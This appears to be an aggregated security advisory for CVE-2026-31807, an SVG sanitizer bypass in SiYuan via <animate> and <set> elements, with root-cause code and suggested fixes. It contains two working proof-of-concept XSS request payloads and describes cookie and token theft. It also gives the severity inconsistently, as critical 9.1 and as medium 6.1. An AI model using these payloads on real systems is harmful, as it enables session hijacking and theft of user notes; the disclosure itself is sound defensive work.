🛡️ CVE-2026-31807 — siyuan
Description
SiYuan has a SVG Sanitizer Bypass via <animate> Element — Unauthenticated XSS
# SVG Sanitizer Bypass via <animate> Element — Unauthenticated XSS
Summary
SiYuan's SVG sanitizer (SanitizeSVG) blocks dangerous elements (<script>, <iframe>, <foreignobject>) and removes on* event handlers and javascript: in href attributes. However, it does NOT block SVG animation elements (<animate>, <set>) which can dynamically set attributes to dangerous values at runtime, bypassing the static sanitization. This allows an attacker to inject executable JavaScript into the unauthenticated /api/icon/getDynamicIcon endpoint (type=8), creating a reflected XSS.
This is a bypass of the fix for CVE-2026-29183 (fixed in v3.5.9).
Affected Component
- File:
kernel/util/misc.go - Function:
SanitizeSVG()(lines 234-319) - Endpoint:
GET /api/icon/getDynamicIcon?type=8&content=...(unauthenticated) - Version: SiYuan <= 3.5.9
Root Cause
The sanitizer checks attributes on elements at parse time. SVG <animate> and <set> elements modify attributes at runtime — these elements are not in the sanitizer's blocklist.
Sanitizer's blocklist (line 250)
```go
if tag == "script" || tag == "iframe" || tag == "object" || tag == "embed" || tag == "foreignobject" {
n.RemoveChild(c)
// ...
}
```
Missing from blocklist: animate, set, animateTransform, animateMotion
Attribute check (lines 264-267)
```go
// Only checks static attributes
if strings.HasPrefix(key, "on") {
continue
}
```
The <animate> element's values attribute contains the payload (javascript:...), but the sanitizer only checks for on* prefix, href, or xlink:href keys. The values, to, from, attributeName attributes are all passed through.
Proof of Concept
Vector 1: <animate> sets href to javascript:
```
GET /api/icon/getDynamicIcon?type=8&content=</text><a><animate attributeName="href" values="javascript:alert(document.domain)" begin="0s" fill="freeze"/><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue
```
After template rendering, the SVG contains:
```xml
<svg ...>
<text ...></text>
<a>
<animate attributeName="href" values="javascript:alert(document.domain)" begin="0s" fill="freeze"/>
<text x="50%" y="80%" fill="red" style="font-size:60px">Click me</text>
</a>
<text></text>
</svg>
```
The sanitizer passes this through because:
1. <animate> is not in the element blocklist
2. attributeName="href" — key is attributename, doesn't start with on, not href itself
3. values="javascript:..." — key is values, not href
When the SVG is rendered in the browser (navigating directly to the URL), <animate> sets the parent <a> element's href to javascript:alert(document.domain). Clicking "Click me" triggers the JavaScript.
Vector 2: <set> modifies event handlers
```
GET /api/icon/getDynamicIcon?type=8&content=</text><set attributeName="onmouseover" to="alert(document.domain)"/><text>&color=blue
```
The <set> element dynamically adds an onmouseover event handler to the parent element at runtime.
Attack Scenario
1. Attacker crafts a malicious getDynamicIcon URL with XSS payload
2. Attacker sends the URL to a victim who has an active SiYuan session
3. Victim clicks/navigates to the URL
4. SVG renders with Content-Type image/svg+xml — browser renders as standalone SVG document
5. JavaScript executes in the SiYuan server's origin
6. Attacker steals session cookies, API tokens, or makes authenticated API calls to read/modify notes
Impact
- Severity: CRITICAL (CVSS ~9.1)
- Type: CWE-79 (Improper Neutralization of Input During Web Page Generation)
- Unauthenticated reflected XSS via SVG injection
- Executes in the SiYuan application origin, giving full access to authenticated APIs
- Can chain to: data exfiltration, note modification, configuration theft (API tokens, auth codes)
- Bypasses the fix for CVE-2026-29183
Suggested Fix
Add animation elements to the sanitizer blocklist:
```go
// In SanitizeSVG, line 250:
if tag == "script" || tag == "iframe" || tag == "object" || tag == "embed" ||
tag == "foreignobject" || tag == "animate" || tag == "set" ||
tag == "animatetransform" || tag == "animatemotion" {
n.RemoveChild(c)
c = next
continue
}
```
Or additionally check the values, to, and from attributes for javascript: patterns:
```go
if key == "values" || key == "to" || key == "from" {
if strings.Contains(val, "javascript:") {
continue
}
}
```
Also consider checking attributeName — if it targets href, xlink:href, or any on* attribute, the animation element should be removed entirely.
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality low, integrity low, availability none.
Weakness class
CVE-2026-31807 is classified as CWE-79: Cross-site Scripting (XSS). User-supplied data is written into a page without escaping, so attacker script runs in the browser of anyone who views it.
Affected software
CVE-2026-31807 is recorded against 2 packages.
- github.com/siyuan-note/siyuan/kernel
- siyuan (fixed in 3.5.10)
Timeline and source
Published on 10 March 2026 and last revised on 23 March 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
References
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
github.com (Web)
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| github.com/siyuan-note/siyuan/kernel | — | — |
| siyuan | — | 3.5.10 |
References
Similar Threats
- Medium CVE-2026-32704
- High CVE-2026-32110
- Medium CVE-2026-31809
- High CVE-2026-30926
- Critical CVE-2026-30869
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Vulnerability Monitoring
Track new vulnerabilities in siyuan
CVE-2026-31807 is rated CVSS 6.1 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.
Set Up Free Alerts →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.